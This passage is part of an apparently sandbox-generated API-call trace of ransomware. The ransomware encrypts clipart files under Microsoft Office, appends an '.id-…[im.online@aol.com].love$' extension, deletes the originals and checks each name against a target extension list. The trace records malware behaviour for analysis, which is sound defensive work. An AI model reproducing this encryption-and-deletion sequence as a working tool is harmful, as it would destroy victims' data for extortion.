lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.117] WriteFile (in: hFile=0x560, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.118] SetEndOfFile (hFile=0x560) returned 1 [0265.118] CloseHandle (hObject=0x560) returned 1 [0265.118] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.118] SetEndOfFile (hFile=0x418) returned 1 [0265.122] CloseHandle (hObject=0x418) returned 1 [0265.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0265.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0265.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0265.124] lstrlenW (lpString=".doc") returned 4 [0265.124] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0265.125] lstrlenW (lpString=".docx") returned 5 [0265.125] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0265.125] lstrlenW (lpString=".pdf") returned 4 [0265.125] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0265.125] lstrlenW (lpString=".xls") returned 4 [0265.125] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0265.125] lstrlenW (lpString=".xlsx") returned 5 [0265.125] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0265.125] lstrlenW (lpString=".ppt") returned 4 [0265.125] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0265.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0265.125] lstrlenW (lpString=".zip") returned 4 [0265.125] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0265.125] lstrlenW (lpString=".rar") returned 4 [0265.125] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0265.125] lstrlenW (lpString=".bz2") returned 4 [0265.125] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0265.125] lstrlenW (lpString=".7z") returned 3 [0265.125] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0265.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0265.125] lstrlenW (lpString=".dbf") returned 4 [0265.126] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0265.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0265.126] lstrlenW (lpString=".1cd") returned 4 [0265.126] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0265.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0265.126] lstrlenW (lpString=".jpg") returned 4 [0265.126] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0265.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0265.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0265.126] lstrlenW (lpString=".doc") returned 4 [0265.126] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0265.126] lstrlenW (lpString=".docx") returned 5 [0265.126] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0265.126] lstrlenW (lpString=".pdf") returned 4 [0265.126] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0265.126] lstrlenW (lpString=".xls") returned 4 [0265.126] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0265.126] lstrlenW (lpString=".xlsx") returned 5 [0265.126] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0265.126] lstrlenW (lpString=".ppt") returned 4 [0265.126] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0265.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0265.127] lstrlenW (lpString=".zip") returned 4 [0265.127] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0265.127] lstrlenW (lpString=".rar") returned 4 [0265.127] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0265.127] lstrlenW (lpString=".bz2") returned 4 [0265.127] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0265.127] lstrlenW (lpString=".7z") returned 3 [0265.127] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0265.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0265.127] lstrlenW (lpString=".dbf") returned 4 [0265.127] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0265.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0265.127] lstrlenW (lpString=".1cd") returned 4 [0265.127] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0265.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0265.127] lstrlenW (lpString=".jpg") returned 4 [0265.127] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0265.128] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0265.128] lstrlenW (lpString="J0099160.JPG") returned 12 [0265.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0265.130] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=15145) returned 1 [0265.130] CloseHandle (hObject=0x418) returned 1 [0265.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220 [0265.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0265.131] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.131] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0265.134] GetLastError () returned 0x0 [0265.134] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x3b29, lpOverlapped=0x0) returned 1 [0265.161] WriteFile (in: hFile=0x560, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0265.164] ReadFile (in: hFile=0x418, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.164] WriteFile (in: hFile=0x560, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.164] SetEndOfFile (hFile=0x560) returned 1 [0265.165] CloseHandle (hObject=0x560) returned 1 [0265.165] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.165] SetEndOfFile (hFile=0x418) returned 1 [0266.125] CloseHandle (hObject=0x418) returned 1 [0266.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0266.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0266.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0266.437] lstrlenW (lpString=".doc") returned 4 [0266.438] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0266.438] lstrlenW (lpString=".docx") returned 5 [0266.438] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0266.438] lstrlenW (lpString=".pdf") returned 4 [0266.438] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0266.438] lstrlenW (lpString=".xls") returned 4 [0266.438] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0266.438] lstrlenW (lpString=".xlsx") returned 5 [0266.438] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0266.438] lstrlenW (lpString=".ppt") returned 4 [0266.438] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0266.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0266.438] lstrlenW (lpString=".zip") returned 4 [0266.438] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0266.438] lstrlenW (lpString=".rar") returned 4 [0266.438] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0266.438] lstrlenW (lpString=".bz2") returned 4 [0266.438] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0266.438] lstrlenW (lpString=".7z") returned 3 [0266.438] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0266.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0266.438] lstrlenW (lpString=".dbf") returned 4 [0266.438] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0266.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0266.439] lstrlenW (lpString=".1cd") returned 4 [0266.439] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0266.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0266.439] lstrlenW (lpString=".jpg") returned 4 [0266.439] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0266.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0266.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0266.439] lstrlenW (lpString=".doc") returned 4 [0266.439] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0266.439] lstrlenW (lpString=".docx") returned 5 [0266.439] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0266.439] lstrlenW (lpString=".pdf") returned 4 [0266.439] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0266.439] lstrlenW (lpString=".xls") returned 4 [0266.439] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0266.439] lstrlenW (lpString=".xlsx") returned 5 [0266.439] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0266.439] lstrlenW (lpString=".ppt") returned 4 [0266.439] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0266.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0266.439] lstrlenW (lpString=".zip") returned 4 [0266.440] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0266.440] lstrlenW (lpString=".rar") returned 4 [0266.440] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0266.440] lstrlenW (lpString=".bz2") returned 4 [0266.440] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0266.440] lstrlenW (lpString=".7z") returned 3 [0266.440] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0266.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0266.440] lstrlenW (lpString=".dbf") returned 4 [0266.440] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0266.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0266.440] lstrlenW (lpString=".1cd") returned 4 [0266.440] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0266.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0266.440] lstrlenW (lpString=".jpg") returned 4 [0266.440] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0266.440] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0266.440] lstrlenW (lpString="J0099162.JPG") returned 12 [0266.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0266.646] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=19656) returned 1 [0266.646] CloseHandle (hObject=0x534) returned 1 [0266.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220 [0266.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0266.647] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.648] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0266.649] GetLastError () returned 0x0 [0266.649] ReadFile (in: hFile=0x534, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x4cc8, lpOverlapped=0x0) returned 1 [0266.657] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0266.659] ReadFile (in: hFile=0x534, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.659] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.660] SetEndOfFile (hFile=0x4c8) returned 1 [0266.660] CloseHandle (hObject=0x4c8) returned 1 [0266.660] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.660] SetEndOfFile (hFile=0x534) returned 1 [0266.664] CloseHandle (hObject=0x534) returned 1 [0266.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0266.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0266.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0266.667] lstrlenW (lpString=".doc") returned 4 [0266.667] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0266.667] lstrlenW (lpString=".docx") returned 5 [0266.667] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0266.667] lstrlenW (lpString=".pdf") returned 4 [0266.667] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0266.667] lstrlenW (lpString=".xls") returned 4 [0266.667] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0266.667] lstrlenW (lpString=".xlsx") returned 5 [0266.667] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0266.667] lstrlenW (lpString=".ppt") returned 4 [0266.667] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0266.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0266.667] lstrlenW (lpString=".zip") returned 4 [0266.667] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0266.667] lstrlenW (lpString=".rar") returned 4 [0266.667] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0266.667] lstrlenW (lpString=".bz2") returned 4 [0266.668] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0266.668] lstrlenW (lpString=".7z") returned 3 [0266.668] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0266.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0266.668] lstrlenW (lpString=".dbf") returned 4 [0266.668] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0266.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0266.668] lstrlenW (lpString=".1cd") returned 4 [0266.668] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0266.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0266.668] lstrlenW (lpString=".jpg") returned 4 [0266.668] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0266.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0266.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0266.668] lstrlenW (lpString=".doc") returned 4 [0266.669] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0266.669] lstrlenW (lpString=".docx") returned 5 [0266.669] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0266.669] lstrlenW (lpString=".pdf") returned 4 [0266.669] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0266.669] lstrlenW (lpString=".xls") returned 4 [0266.669] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0266.669] lstrlenW (lpString=".xlsx") returned 5 [0266.669] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0266.669] lstrlenW (lpString=".ppt") returned 4 [0266.669] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0266.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0266.669] lstrlenW (lpString=".zip") returned 4 [0266.669] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0266.669] lstrlenW (lpString=".rar") returned 4 [0266.669] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0266.669] lstrlenW (lpString=".bz2") returned 4 [0266.669] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0266.669] lstrlenW (lpString=".7z") returned 3 [0266.669] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0266.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0266.669] lstrlenW (lpString=".dbf") returned 4 [0266.669] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0266.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0266.670] lstrlenW (lpString=".1cd") returned 4 [0266.670] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0266.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0266.670] lstrlenW (lpString=".jpg") returned 4 [0266.670] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0266.670] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0266.670] lstrlenW (lpString="J0099163.WMF") returned 12 [0266.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0266.672] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=22356) returned 1 [0266.672] CloseHandle (hObject=0x534) returned 1 [0266.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220 [0266.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0266.673] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.673] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0266.675] GetLastError () returned 0x0 [0266.675] ReadFile (in: hFile=0x534, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x5754, lpOverlapped=0x0) returned 1 [0266.680] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5760, lpOverlapped=0x0) returned 1 [0266.893] ReadFile (in: hFile=0x534, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.893] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.894] SetEndOfFile (hFile=0x4c8) returned 1 [0267.178] CloseHandle (hObject=0x4c8) returned 1 [0267.178] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, 